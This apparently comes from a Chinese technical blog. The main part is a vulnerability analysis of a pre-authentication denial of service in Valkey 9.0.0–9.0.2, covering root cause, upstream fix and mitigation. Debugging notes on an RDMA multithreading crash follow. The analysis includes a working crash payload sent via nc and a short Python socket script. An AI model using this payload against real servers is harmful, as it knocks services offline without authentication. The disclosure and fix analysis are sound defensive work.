的人类可读性，又拥有接近二进制协议的高解析效率。它的核心设计哲学是：基于前缀字节来区分数据类型，并严格使用 \\r\\n (CRLF) 作为数据帧的边界。\n比如:\n*2\\r\\n # 发送一个长度为2的数组 $3\\r\\n # 这是第一个元素，长度为3 就是foo字符串的长度。 foo\\r\\n $3\\r\\n # 这是第二个元素，长度也为3。 bar\\r\\n 我们注入的原始字节（ASCII 视图，无空格）：\n*0\\r\\nPING\\r\\n *0\\r\\n：RESP2 的 Array header，元素个数为 0（没有 $… 参数行）。对服务器来说，这是一条「multibulk 个数为 0」的请求头。 PING\\r\\n：这是 RESP/Telnet 风格的 inline 命令（整行即命令，不以 * 开头）。 漏洞的本质是：第一段按「multibulk 已结束」特殊处理掉之后，客户端状态仍被当成「下一段还是 multibulk」(这里就是状态机的漏洞所在)，于是第二段以 P 开头时，解析器仍按「新数组必须以 * 开头」去断言，直接crash。\n1.入口：读进 querybuf 并进入处理循环 # 这里具体需要查看valkey 9.0.2 源码的networking.c部分,我们仅分析部分重要代码块。\nnc 连上后，内核把整段 *0\\r\\nPING\\r\\n 交给 read(2)。 readQueryFromClient 里 readToQueryBuf 把数据追加到 c-\u0026gt;querybuf，handleReadResult 成功后调用 processInputBuffer（见 readQueryFromClient 附近对 processInputBuffer 的调用）。 void readQueryFromClient(connection *conn) { client *c = connGetPrivateData(conn); /* Check if we can send the client to be handled by the IO-thread */ // 这里是否启用了IO线程都没有影响 if (postponeClientRead(c)) return; if (c-\u0026gt;io_write_state != CLIENT_IDLE || c-\u0026gt;io_read_state != CLIENT_IDLE) return; bool repeat = false; int iter = 0; do { bool full_read = readToQueryBuf(c); if (handleReadResult(c) == C_OK) { // 就是处理输入的缓冲区 if (processInputBuffer(c) == C_ERR) return; ...... 主循环在 processInputBuffer：清 read_flags、必要时 parseInputBuffer、再 handleParseResults。\nint processInputBuffer(client *c) { /* Parse the query buffer and/or execute already parsed commands. */ while ((c-\u0026gt;querybuf \u0026amp;\u0026amp; c-\u0026gt;qb_pos \u0026lt; sdslen(c-\u0026gt;querybuf)) || c-\u0026gt;cmd_queue.off \u0026lt; c-\u0026gt;cmd_queue.len) { if (!canParseCommand(c)) { break; } c-\u0026gt;read_flags = isReplicatedClient(c) ? READ_FLAGS_REPLICATED : 0; c-\u0026gt;read_flags |= authRequired(c) ? READ_FLAGS_AUTH_REQUIRED : 0; /* If commands are queued up, pop from the queue first */ if (!consumeCommandQueue(c)) { // 这里进行输入缓冲区的解析 parseInputBuffer(c); prepareCommandQueue(c); } /* Prefetch keys for the next commands in queue, if not already done. */ prefetchCommandQueueKeys(c); if (handleParseResults(c) != PARSE_OK) { break; } 要点：一次 read 里可以带多条「逻辑请求」；第一段不产生可执行命令（argc == 0）时，循环会 continue，同一 buffer、同一连接上立刻再解析后面剩余字节。\n2.第一次解析：认出 multibulk，并消费 *0\\r\\n # 2.1 选择「下一条是 multibulk 还是 inline」 # parseInputBuffer 里：只有 c-\u0026gt;reqtype == 0 时才看首字节决定协议类型：\nvoid parseInputBuffer(client *c) { /* The command queue must be emptied before parsing. */ serverAssert(c-\u0026gt;cmd_queue.len == 0); /* Determine request type when unknown. */ if (!c-\u0026gt;reqtype) { if (c-\u0026gt;querybuf[c-\u0026gt;qb_pos] == \u0026#39;*\u0026#39;) { c-\u0026gt;reqtype = PROTO_REQ_MULTIBULK; } else { c-\u0026gt;reqtype = PROTO_REQ_INLINE; } } if (c-\u0026gt;reqtype == PROTO_REQ_INLINE) { parseInlineBuffer(c); } else if (c-\u0026gt;reqtype == PROTO_REQ_MULTIBULK) { parseMultibulkBuffer(c); } else { serverPanic(\u0026#34;Unknown request type\u0026#34;); } } 新连接上 reqtype == 0，qb_pos == 0，首字节是 *，于是 c-\u0026gt;reqtype 被设为 PROTO_REQ_MULTIBULK，进入 parseMultibulkBuffer → parseMultibulk。\n2.2 解析 *0\\r\\n：把读指针挪到 P，并打上「零/负 multibulk」标志 # 那么接下来我们走进 parseMultibulkBuffer → parseMultibulk来进一步分析：\n在 parseMultibulk 里，当 c-\u0026gt;multibulklen == 0 时，表示「要开始读新的 *\u0026lt;n\u0026gt;\\r\\n 行」：\n用 memchr 找 \\r，确认有完整一行。 断言当前位置必须是 *（正常 RESP 数组总是如此，见下方代码最后的断言）. 解析出 ll == 0，把 qb_pos 移到该行 CRLF 之后（即指向 P），然后 直接返回 READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN. static int parseMultibulk(client *c, int *argc, robj ***argv, int *argv_len, size_t *argv_len_sum, unsigned long long *net_input_bytes_curr_cmd) { char *newline = NULL; int ok; long long ll; int is_replicated = c-\u0026gt;read_flags \u0026amp; READ_FLAGS_REPLICATED; int auth_required = c-\u0026gt;read_flags \u0026amp; READ_FLAGS_AUTH_REQUIRED; // 这条 multibulk 头表示 0 个参数，本条逻辑命令结束 if (c-\u0026gt;multibulklen == 0) { /* The client (argc) should have been reset */ serverAssertWithInfo(c, NULL, *argc == 0); /* Multi bulk length cannot be read without a \\r\\n */ newline = memchr(c-\u0026gt;querybuf + c-\u0026gt;qb_pos, \u0026#39;\\r\u0026#39;, sdslen(c-\u0026gt;querybuf) - c-\u0026gt;qb_pos); if (newline == NULL) { if (sdslen(c-\u0026gt;querybuf) - c-\u0026gt;qb_pos \u0026gt; PROTO_INLINE_MAX_SIZE) { return READ_FLAGS_ERROR_BIG_MULTIBULK; } return 0; } /* Buffer should also contain \\n */ if (newline - (c-\u0026gt;querybuf + c-\u0026gt;qb_pos) \u0026gt; (ssize_t)(sdslen(c-\u0026gt;querybuf) - c-\u0026gt;qb_pos - 2)) return 0; /* We know for sure there is a whole line since newline != NULL, * so go ahead and find out the multi bulk length. */ serverAssertWithInfo(c, NULL, c-\u0026gt;querybuf[c-\u0026gt;qb_pos] == \u0026#39;*\u0026#39;); ...... c-\u0026gt;qb_pos = (newline - c-\u0026gt;querybuf) + 2; if (ll \u0026lt;= 0) { return READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN; } ...... parseMultibulkBuffer 把返回值 |= 进 c-\u0026gt;read_flags，然后返回：\nvoid parseMultibulkBuffer(client *c) { int flag = parseMultibulk(c, \u0026amp;c-\u0026gt;argc, \u0026amp;c-\u0026gt;argv, \u0026amp;c-\u0026gt;argv_len, \u0026amp;c-\u0026gt;argv_len_sum, \u0026amp;c-\u0026gt;net_input_bytes_curr_cmd); c-\u0026gt;read_flags |= flag; ...... 3. handleParseResults：认为「本条已处理完」，但忘了清 reqtype # handleParseResults 看到 READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN，走「multibulk 可能见到 \u0026lt;=0 长度」分支：只 resetClient，然后 PARSE_OK：\n/* This function is called after the query-buffer was parsed. * It is used to handle parsing errors and to update the client state. * The function returns C_OK if a command can be executed, otherwise C_ERR. */ parseResult handleParseResults(client *c) { ...... if (c-\u0026gt;read_flags \u0026amp; READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN) { /* Multibulk processing could see a \u0026lt;= 0 length. */ resetClient(c); return PARSE_OK; } ...... } 那么关键在这里，resetClient 主要清理 argv / 一些命令相关标志，不会把c-\u0026gt;reqtype 置回 0。\n于是在 CVE 存在版本（9.0.0–9.0.2） 里，第一次解析结束后仍满足：\nc-\u0026gt;reqtype == PROTO_REQ_MULTIBULK（第一次进 parseInputBuffer 时设的） c-\u0026gt;qb_pos 已指向 PING\\r\\n 的 P，缓冲区里还有未消费数据。 4. processInputBuffer 第二轮：argc == 0 时继续循环 # 第一次解析没有形成可执行命令（argc == 0），processInputBuffer 在后面的分支里会 continue，只要 qb_pos \u0026lt; sdslen(querybuf) 就会再跑一轮 parseInputBuffer。\nint processInputBuffer(client *c) { /* Parse the query buffer and/or execute already parsed commands. */ while ((c-\u0026gt;querybuf \u0026amp;\u0026amp; c-\u0026gt;qb_pos \u0026lt; sdslen(c-\u0026gt;querybuf)) || c-\u0026gt;cmd_queue.off \u0026lt; c-\u0026gt;cmd_queue.len) { ...... } 5. 第二次解析：仍按 multibulk，首字节却是 P → 断言触发 # 第二轮调用 parseInputBuffer 时，在 未修复 情况下 c-\u0026gt;reqtype 仍为 PROTO_REQ_MULTIBULK，于是 不会执行 if (!c-\u0026gt;reqtype) { ... } 这段「根据 * / 非 * 重选协议」的逻辑,再次进入 parseMultibulk → 又因 multibulklen == 0，代码认为「要开始读下一条 *\u0026lt;n\u0026gt;\\r\\n 行」，再次执行：\nserverAssertWithInfo(c, NULL, c-\u0026gt;querybuf[c-\u0026gt;qb_pos] == \u0026#39;*\u0026#39;); 此时，我们便迎来了这个断言错误。\n此时 c-\u0026gt;querybuf[c-\u0026gt;qb_pos] == 'P'（PING 的首字母），不等于 *，serverAssertWithInfo 失败，进程按 assert 配置 abort —— 这就是你用 *0\\r\\n pipeline 接上 PING\\r\\n（inline） 时触发的典型路径。\n6.简单总结整个触发流程 # 步骤 缓冲区语义 关键状态 读入 *0\\r\\nPING\\r\\n 全在 querybuf reqtype=0 第一次 parseInputBuffer 见 *，走 multibulk reqtype=MULTIBULK parseMultibulk 消费 *0\\r\\n，qb_pos→P 返回 READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN handleParseResults resetClient，旧版不清 reqtype reqtype 仍为 MULTIBULK 第二次 parseInputBuffer 跳过类型检测 仍走 parseMultibulkBuffer parseMultibulk 以为新行应以 * 开头 qb_pos 处是 P → 3528 行断言失败 利用机制 # 攻击面与前置条件 # 网络可达：攻击者与 valkey-server 建立 TCP 连接即可（PoC 为明文端口；若前有 TLS 终止，则攻击面在能改写发往 Valkey 的字节流处）。 无需认证：崩溃发生在协议解析阶段，早于命令执行与 ACL 判定。 低交互：单连接、短载荷；利用「一次 read 内多段解析」与错误保留的 reqtype 组合触发断言。 载荷语义 # 片段 协议角色 *0\\r\\n RESP2 数组头，元素个数为 0；解析后不形成可执行命令（argc == 0） PING\\r\\n 以 inline 风格解析的命令行（整行即命令，不以 * 开头） 第一段按 multibulk 的「零长度」路径返回后，旧版未将 c-\u0026gt;reqtype 置回 0，第二段本应按 inline 重新判别，却仍走 multibulk，最终在 parseMultibulk 中对「新数组行必须以 * 开头」的断言上崩溃。状态机细节见上文 根因分析。\n与本仓库 PoC 的对应关系 # 文件 说明 exploit/exp.py 使用 socket 向默认 127.0.0.1:16379 发送 *0\\r\\nPING\\r\\n，与下文 复现步骤 中 Python 片段等价。 复现步骤 # 1. 准备环境 # 单独目录或容器（避免误伤本机其它 Redis/Valkey）。 检出受影响标签并干净编译（从别的分支切过来时强烈建议先清构建产物，避免缺头文件之类错误）： git fetch --tags git checkout 9.0.2 # 在本次受影响的范围之内 make distclean \u0026amp;\u0026amp; make -j\u0026#34;$(nproc)\u0026#34; 用非常用端口起实例，并关保护（仅实验环境）： ./src/valkey-server --port 16379 --protected-mode no 另开一个终端做发包；或用 --daemonize yes + pidfile 自行管理。\n2. 主复现：一条 TCP 里 pipeline 两段 # 要发送的原始字节序列（十六进制）：\n2a 30 0d 0a 50 49 4e 47 0d 0a 即 ASCII：*0\\r\\nPING\\r\\n（中间不要多余空格）。\n2.1 用 nc # printf \u0026#39;*0\\r\\nPING\\r\\n\u0026#39; | nc -w 2 127.0.0.1 16379 在 9.0.2 上的典型现象： valkey-server 进程 直接退出（或日志里出现 assert）；nc 可能读不到正常 +PONG，连接被对端关掉。\n会触发对应的断言错误：\n=== VALKEY BUG REPORT START: Cut \u0026amp; paste starting from here === 190361:M 22 May 2026 16:06:10.113 # === ASSERTION FAILED CLIENT CONTEXT === 190361:M 22 May 2026 16:06:10.113 # client-\u0026gt;flags = 108086391056891904 190361:M 22 May 2026 16:06:10.113 # client-\u0026gt;conn = fd=10 190361:M 22 May 2026 16:06:10.113 # client-\u0026gt;argc = 0 190361:M 22 May 2026 16:06:10.113 # === RECURSIVE ASSERTION FAILED === 190361:M 22 May 2026 16:06:10.113 # ==\u0026gt; networking.c:3528 \u0026#39;c-\u0026gt;querybuf[c-\u0026gt;qb_pos] == \u0026#39;*\u0026#39;\u0026#39; is not true 在 9.0.3+（或含修复的 unstable）上的典型现象： 进程不崩；你可能先看到对 *0 一节的处理结果（若有输出），随后对 PING 有 +PONG 或 RESP3 等价响应（具体格式取决于是否已 HELLO）。\n2.2 用本仓库脚本（exploit/exp.py） # 在克隆后的本漏洞目录下执行（默认连接 127.0.0.1:16379，与上文 --port 一致；若目标为其它主机或端口，请编辑脚本内 host / port）：\ncd \u0026#34;CVE-2026-27623 Pre-Authentication DOS from malformed RESP request\u0026#34; python3 exploit/exp.py 在受影响版本上，常见输出为 recv: b'' 或 connection reset（服务端已 abort）；与 2.1 节现象一致。\n2.3 内联 Python（与 exp.py 等价） # import socket host, port = \u0026#34;127.0.0.1\u0026#34;, 16379 payload = b\u0026#34;*0\\r\\nPING\\r\\n\u0026#34; with socket.create_connection((host, port)) as s: s.sendall(payload) try: print(\u0026#34;recv:\u0026#34;, s.recv(4096)) except ConnectionResetError as e: print(\u0026#34;connection reset (common if server aborted):\u0026#34;, e) 修复方案 # 上游修复（推荐） # 根因是 READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN 等路径在 resetClient 后未将 reqtype 清零，导致同缓冲区内后续 inline 数据仍按 multibulk 解析。上游在 handleParseResults 相关分支中补充 c-\u0026gt;reqtype = 0，并增加回归测试（见 tests/unit/protocol.tcl）。\n补丁提交：valkey-io/valkey@2c311dd7173（2026-02-23） 发行版：升级到 Valkey ≥ 9.0.3（或各发行版已 backport 该补丁的软件包）。 关键 diff（摘录） # @@ -3096,12 +3096,14 @@ parseResult handleParseResults(client *c) { /* in case the client\u0026#39;s query was an empty line we will ignore it and proceed to process the rest of the buffer * if any */ resetClient(c); c-\u0026gt;reqtype = 0; return PARSE_OK; } if (c-\u0026gt;read_flags \u0026amp; READ_FLAGS_PARSING_NEGATIVE_MBULK_LEN) { /* Multibulk processing could see a \u0026lt;= 0 length. */ resetClient(c); c-\u0026gt;reqtype = 0; return PARSE_OK; } 临时缓解 # 在无法立即升级时，通过 网络隔离（防火墙、Kubernetes NetworkPolicy、云安全组等）将 Valkey 监听端口限制在可信网段；公告亦建议仅向可信用户开放访问。上述手段可降低被利用概率，不能替代版本升级。\n时间线 # 日期 事件 2026-02-23 上游提交修复 2c311dd7173（handleParseResults 中重置 reqtype；tests/unit/protocol.tcl 增加回归用例） 2026-02-23 GitHub 发布 Security Advisory GHSA-93p9-5vc7-8wgr CVE 在 MITRE / NVD 中的登记日期与评分向量以后续官方同步为准。\n参考资料 # 来源 链接 GitHub Security Advisory https://github.com/valkey-io/valkey/security/advisories/GHSA-93p9-5vc7-8wgr 上游修复提交 https://github.com/valkey-io/valkey/commit/2c311dd7173ffc715a3d61266fdede6096a097de Valkey 仓库 https://github.com/valkey-io/valkey 报告方：NVIDIA Networking Security（Daniel Bransky、Eliya Cohen；见 GHSA Credits） 本文档链接核对日期：2026-05-22 ","date":"2026-05-26","externalUrl":null,"permalink":"/zh-cn/valkey/security-cve-2026-27623-resp-dos/","section":"Valkey","summary":"\u003ch1 class=\"relative group\"\u003eCVE-2026-27623 — Pre-Authentication DOS from malformed RESP request \n    \u003cdiv id=\"cve-2026-27623--pre-authentication-dos-from-malformed-resp-request\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#cve-2026-27623--pre-authentication-dos-from-malformed-resp-request\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003eValkey 预认证拒绝服务 | RESP 协议状态机 | CVSS 3.1: 7.5 HIGH | CWE-20 | 无需认证\u003c/strong\u003e | \u003ca href=\"#%e5%a4%8d%e7%8e%b0%e6%ad%a5%e9%aa%a4\"\u003e复现步骤\u003c/a\u003e\u003c/p\u003e","title":"CVE-2026-27623 Pre-Authentication DOS from malformed RESP request","type":"valkey"},{"content":"本文记录了作者尝试解决这个[CRASH] Does Valkey over RDMA not support I/O threads? #3112 的问题.\nhttps://github.com/valkey-io/valkey/issues/3112\n总结一次实验的workflow,这是拉的战线最长的一次,前前后后整了一个多月还没merge进去.\nserver端\n# 解开当前进程的内存锁 sudo prlimit --memlock=unlimited --pid $$ # 创建在内存中工作的虚拟网卡 sudo modprobe dummy sudo ip link add dummy0 type dummy sudo ip link set dummy0 up # 配置本地的IP sudo ip addr add 10.0.0.1/24 dev dummy0 # 做RXE的绑定 sudo rdma link add rxe_dummy type rxe netdev dummy0 # 停止本来运行的 valkey sudo systemctl stop valkey # 编译一遍 make BUILD_RDMA=yes USE_FAST_FLOAT=yes # 跑server sudo ./src/valkey-server valkey.conf --rdma-bind 10.0.0.1 --rdma-port 6379 client端\n# 解开当前进程的内存锁 sudo prlimit --memlock=unlimited --pid $$ # 直接做暴力压测,还可以尝试比这个参数更高的 ./src/valkey-benchmark -h 10.0.0.1 -p 6379 -d 256 --threads 16 -c 100 -P 32 -n 20000000 -t get --rdma 因为这是多线程,注意此时valkey的配置问题:\nio-threads 4 save \u0026#34;\u0026#34; protected-mode no bind 0.0.0.0 抓取日志分析的方法\n# 拿一下server当前的PID: ./src/valkey-cli -h 10.0.0.1 -p 6379 INFO server | grep process_id # 拿到这个PID之后 抓线程栈 sudo gdb -p $(PID) -ex \u0026#39;thread apply all bt\u0026#39; -batch \u0026gt; /tmp/valkey_bt.txt # 看一下文件的前多少行 head -n 60 /tmp/valkey_bt.txt # 抓取当前I/O队列的状态 ./src/valkey-cli -h 10.0.0.1 -p 6379 INFO stats | grep -E \u0026#39;clients_pending_io_read|clients_pending_io_write|io_threaded_reads_processed|io_threaded_writes_processed|instantaneous_ops_per_sec\u0026#39; # 看一下客户端的情况 ./src/valkey-cli -h 10.0.0.1 -p 6379 CLIENT LIST | head -n 10 # 查看系统积压的延迟 ./src/valkey-cli -h 10.0.0.1 -p 6379 LATENCY LATEST # 看队列长度和事件计数,就是查事件的状态机 ./src/valkey-cli -h 10.0.0.1 -p 6379 INFO stats | egrep \u0026#39;clients_pending_io_read|clients_pending_io_write|io_threaded_reads_processed|io_threaded_writes_processed|instantaneous_ops_per_sec\u0026#39; 同时还要注意格式的整理\nclang-format -style=file -i src/networking.c 尝试复现多线程RDMA崩溃问题 # 首先做带有RDMA的编译:\nmake BUILD_RDMA=yes USE_FAST_FLOAT=yes 1.创建一个dummy虚拟网卡(纯粹在内存中模拟,wlan0环境可能不稳定?)\nsudo modprobe dummy sudo ip link add dummy0 type dummy sudo ip link set dummy0 up 2.给虚拟网卡配置一个本地的IP\nsudo ip addr add 10.0.0.1/24 dev dummy0 # 这个地址是否是可行的? 3.SoftRoCE绑定到这个dummy0上面去\n# 如果之前的 rxe0 还在，可以先删掉： sudo rdma link del rxe0 sudo rdma link add rxe_dummy type rxe netdev dummy0 4.运行server端:\n./src/valkey-server valkey.conf --rdma-bind 10.0.0.1 --rdma-port 6379 如果存在端口的冲突,那么:\nsudo systemctl stop valkey 5.然后我们的客户端针对虚拟IP进行压测:(这个压测的量是比较大的,注意内存锁的问题)\n./src/valkey-benchmark -h 10.0.0.1 -p 6379 -d 256 --threads 5 -r 100000 -n 12000000 -c 30 -t get --rdma 瞬间报错,证明最新的主线分支尚存在此问题.\n但是客户端报错是:\n~/Project/valkey unstable ⇡ ❯ ./src/valkey-benchmark -h 10.0.0.1 -p 6379 -d 256 --threads 5 -r 100000 -n 12000000 -c 30 -t get --rdma Could not connect to server at 10.0.0.1:6379: RDMA: reg send mr failed 这是很激进的压测,那么RDMA在访问内存的原理和DMA直接访问用户态内存的原理是类似的,我们都需要锁定一部分内存,防止Linux给我们交换到了swap分区.\n在 Arch Linux 下，普通用户的“最大锁定内存限制（memlock）”通常是有限的。当内存锁定达到上限时，rdma_reg_mr() 这个底层 API 就会失败，导致客户端发送出不完整的报文或直接断开。客户端的异常断开或畸形报文，瞬间触发了 Server 端的那个清理内存的 Bug -\u0026gt; 就是这也有可能是原因之一?\n看一下是否开了内存锁:\n# 在linux内部,内存是流动的,就是会和我们的swap分区进行不断的交换 # 那么这意味着一个进程最多锁定 8MB的内存来使用,这样对DMA肯定不友好,因为DMA要锁定一部分内存专门用来做交换 ~ ❯ ulimit -l 8192 # 所以我们尝试修改内存限制, 注意,这个也只是针对当前的进程的 ~ ❯ sudo prlimit --memlock=unlimited --pid $$ # 我们需要验证当前进程确实没有了限制,那么这样确实就没有了限制,都是unlimited ~ ❯ cat /proc/self/limits | grep \u0026#34;Max locked memory\u0026#34; Max locked memory unlimited unlimited bytes # 那么这样的应用应该放在client和server上面去 客户端（发送方）：需要分配一块内存存放要发送的 GET/SET 命令，并把它锁定。网卡会直接从这块内存把数据搬走发到网络上。\n服务端（接收方）：也必须提前分配好一块内存，并把它锁定。网卡收到数据后，会直接越过 CPU，把数据写进这块锁定的内存里。\n到底是客户端发送了错误的报文还是多线程导致的? # 先跑一个单线程的测试:\n~/Project/valkey unstable ⇡ ❯ ./src/valkey-benchmark -h 10.0.0.1 -p 6379 -c 1 -n 1000 -t get --rdma ====== GET ====== 1000 requests completed in 0.07 seconds 1 parallel clients 3 bytes payload keep alive: 1 host configuration \u0026#34;save\u0026#34;: 3600 1 300 100 60 10000 host configuration \u0026#34;appendonly\u0026#34;: no multi-thread: no Latency by percentile distribution: 0.000% \u0026lt;= 0.039 milliseconds (cumulative count 113) 50.000% \u0026lt;= 0.055 milliseconds (cumulative count 726) 75.000% \u0026lt;= 0.063 milliseconds (cumulative count 931) 93.750% \u0026lt;= 0.071 milliseconds (cumulative count 949) 96.875% \u0026lt;= 0.119 milliseconds (cumulative count 971) 98.438% \u0026lt;= 0.151 milliseconds (cumulative count 988) 99.219% \u0026lt;= 0.175 milliseconds (cumulative count 994) 99.609% \u0026lt;= 0.215 milliseconds (cumulative count 997) 99.805% \u0026lt;= 0.247 milliseconds (cumulative count 999) 99.902% \u0026lt;= 1.559 milliseconds (cumulative count 1000) 100.000% \u0026lt;= 1.559 milliseconds (cumulative count 1000) Cumulative distribution of latencies: 96.500% \u0026lt;= 0.103 milliseconds (cumulative count 965) 99.600% \u0026lt;= 0.207 milliseconds (cumulative count 996) 99.900% \u0026lt;= 0.303 milliseconds (cumulative count 999) 100.000% \u0026lt;= 1.607 milliseconds (cumulative count 1000) Summary: throughput summary: 14084.51 requests per second latency summary (msec): avg min p50 p95 p99 max 0.056 0.032 0.055 0.079 0.159 1.559 单线程下肯定是没什么问题,实际上在有内存锁的情况下,这个最多只能放到3,之后就会报错,这虽然不是重点,但是Client就算内存不够,通信出现问题,server也不应该这样退出,这是有问题的!\n放开内存锁之后,发现在最新的版本上好像确实没有这个问题了.\n但是实际上,只是这个错误不能 100%复现,只要使用比如这个配置文件:\nio-threads 8 # 使用8个线程 save \u0026#34;\u0026#34; protected-mode no bind 0.0.0.0 我们使用这样的模式来进行压力测试,我们开启 -P 参数,原来的benchmark采取的是ping-pong的模式,也就是每当一个命令执行完,client收到结果之后,才会去发送下一个.\n但是 -P 流水线的方式,把32个GET请求放在一起给server,server进行解析,解析完成之后,才会返回.\n./src/valkey-benchmark -h 10.0.0.1 -p 6379 -d 256 --threads 16 -c 100 -P 32 -n 20000000 -t get --rdma 1.实际上,生产环境都会强制使用pipelining来提高生产力,所以这样的测试是有价值的!\n在高性能网络编程中，最大的性能杀手是 RTT（Round Trip Time，网络往返延迟）。 如果采用你所说的“发一个命令，等一个结果”的 Ping-Pong 模式，即使服务器处理命令只需要 1 微秒，但网络传输一来一回可能需要 100 微秒。大部分时间都在空等。 为了压榨出极限的吞吐量（比如达到百万级 QPS），真实的业务系统（如大规模缓存预热、批量写入）都会强制开启 Pipelining，一次性把几十上百个命令塞进一个 Socket 发过去。\n因此，Valkey 必须能够完美、稳定地处理 Pipelining 请求，这是它的核心能力基石。 如果一个服务端程序一遇到 Pipelining 就崩溃，那它绝对是一个高危的 P0 级 Bug。\n2.**cmd_queue** 到底是怎么工作的？\n你可能会问，既然 Pipelining 会让多个命令同时到达，那 Server 是怎么处理的？这就引出了引发崩溃的那个主角：cmd_queue。\n在 Valkey 9.0 引入新的 I/O 多线程模型后，架构是这样的：\n网卡收包：RDMA 网卡把包含 32 个 GET 命令的巨大数据块直接 DMA 到内存中。\nI/O 线程解析：后台的 I/O 线程被唤醒，开始读取这块内存。它通过词法分析，把这个字节流切分成了 32 个独立的命令对象，然后依次 push 到这个客户端的 c-\u0026gt;cmd_queue 中。此时，**c-\u0026gt;cmd_queue.len** 就是 32。\n主线程执行：主线程接管，发现队列里有 32 个命令，于是依次执行它们，并将结果写回输出缓冲区。执行完毕后，清空队列（len 重新归 0）。\n**也就是说在这里,I/O线程和主线程是交替工作的?**这是轮转决定的?\n现在,这个错误就是100%可以复现的了,我们可以着手进行解决.\ngit使用 # 比如有这样一种情景:\n我们不小心\ngit add . git commit -m \u0026#34;......\u0026#34; 但是突然发现,有一个文件是我们实验是才会使用的,比如valkey.conf,那么你就可以\ngit checkout HEAD^ -- valkey.conf 来恢复这个文件,然后我们继续修正上一次的commit\ngit commit --amend --no-edit 这样就OK了.\n踩坑 RDB文件 # 在valkey.conf中的配置\nsave \u0026#34;\u0026#34; # 那么此时就是纯缓存系统,我们不会保存RDB文件. 假如是:\nsave 3600 1 # 假如3600s之内,有一个key发生了变化,我们就fork来触发一个快照的任务. 但是在做RDMA性能测试的时候就会踩坑,如果你在一个分支中进行了测试,但是保存了RDB文件,切分支的时候,因为dump.rdb在.gitignore中,那么这个文件也会带过来,然后你再次使用benchmark做测试的时候,server启动的时候会把这个rdb文件加载进来,那就会造成段错误(我的疑惑是正常的情况下是否会造成影响,就是即使加载随便一个rdb文件进来,我在做benchmark测试的时候比如./src/valkey-benchmark -h 10.0.0.1 -p 6379 -d 256 --threads 16 -c 100 -P 32 -n 20000000 -t get --rdma 是不是也应该正常进行?).\n这也是我发现的一个问题,之后再进行处理,可以提一个issue来做.\n解决CI中的两个crash的问题 # 现在我们已经解决了多线程崩溃的问题,但是不知道CI中还是会出现两个crash,我还是怀疑pizhenwei给出的方案是存在问题的,确实是存在问题的,就是状态机还是存在漏洞.\n我们valkey的测试,使用TCL(tool command language 很多E2E的测试都是这样)\ntest-ubuntu-io-threads # 报错,日志里最后正好是 Starting test WAITAOF when replica switches between masters, fsync: no，然后测试客户端读回复报 I/O error，说明是“等待回复阶段连接被断了/状态错乱了”。\n多跑几遍来进行复现:\nfor i in {1..100}; do echo \u0026#34;run $i\u0026#34; ./runtest --io-threads --accurate --verbose --dump-logs --single unit/wait || break done ./runtest \\ --io-threads \\ --accurate \\ --verbose --verbose \\ --dump-logs \\ --dont-clean \\ --stop \\ --tags network \\ --single unit/wait \\ --only \u0026#34;WAITAOF when replica switches between masters, fsync: no\u0026#34; \\ --loops 500 看起来是主从复制的时候出了问题?\n本地完全复现不出来这个错误我靠,难道和linux版本还有关系?\n首先你要理解CI在做什么,首先会merge,就是把你的修改merge到当前的最新分支编译,然后进行测试,就是去看你的代码合并进来之后会不会产生问题.\n这里的问题就是本地应该怎么去做CI的复现对吧,其实可以看到https://github.com/valkey-io/valkey/blob/unstable/.github/workflows/daily.yml 去观察一次workflow的情况究竟是怎么样的.\n比如这个:\ntest-ubuntu-io-threads: runs-on: ubuntu-latest if: | (github.event_name == \u0026#39;workflow_call\u0026#39; || github.event_name == \u0026#39;workflow_dispatch\u0026#39; || (github.event_name == \u0026#39;schedule\u0026#39; \u0026amp;\u0026amp; github.repository == \u0026#39;valkey-io/valkey\u0026#39;) || (github.event_name == \u0026#39;pull_request\u0026#39; \u0026amp;\u0026amp; (github.event.pull_request.base.ref != \u0026#39;unstable\u0026#39; || contains(github.event.pull_request.labels.*.name, \u0026#39;run-extra-tests\u0026#39;)) \u0026amp;\u0026amp; (github.event.action != \u0026#39;labeled\u0026#39; || (github.event.pull_request.base.ref == \u0026#39;unstable\u0026#39; \u0026amp;\u0026amp; github.event.label.name == \u0026#39;run-extra-tests\u0026#39;)) )) \u0026amp;\u0026amp; !contains(github.event.inputs.skipjobs, \u0026#39;iothreads\u0026#39;) timeout-minutes: 1440 steps: - name: prep if: github.event_name == \u0026#39;workflow_dispatch\u0026#39; || github.event_name == \u0026#39;workflow_call\u0026#39; run: | echo \u0026#34;GITHUB_REPOSITORY=${{inputs.use_repo || github.event.inputs.use_repo}}\u0026#34; \u0026gt;\u0026gt; $GITHUB_ENV echo \u0026#34;GITHUB_HEAD_REF=${{inputs.use_git_ref || github.event.inputs.use_git_ref}}\u0026#34; \u0026gt;\u0026gt; $GITHUB_ENV echo \u0026#34;skipjobs: ${{github.event.inputs.skipjobs}}\u0026#34; echo \u0026#34;skiptests: ${{github.event.inputs.skiptests}}\u0026#34; echo \u0026#34;test_args: ${{github.event.inputs.test_args}}\u0026#34; echo \u0026#34;cluster_test_args: ${{github.event.inputs.cluster_test_args}}\u0026#34; - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: repository: ${{ inputs.use_repo || github.event.inputs.use_repo || github.repository }} ref: ${{ inputs.use_git_ref || github.event.inputs.use_git_ref || github.ref }} - name: Install libbacktrace uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: repository: ianlancetaylor/libbacktrace ref: b9e40069c0b47a722286b94eb5231f7f05c08713 path: libbacktrace - run: cd libbacktrace \u0026amp;\u0026amp; ./configure \u0026amp;\u0026amp; make \u0026amp;\u0026amp; sudo make install - name: make run: make SERVER_CFLAGS=\u0026#39;-Werror\u0026#39; USE_LIBBACKTRACE=yes - 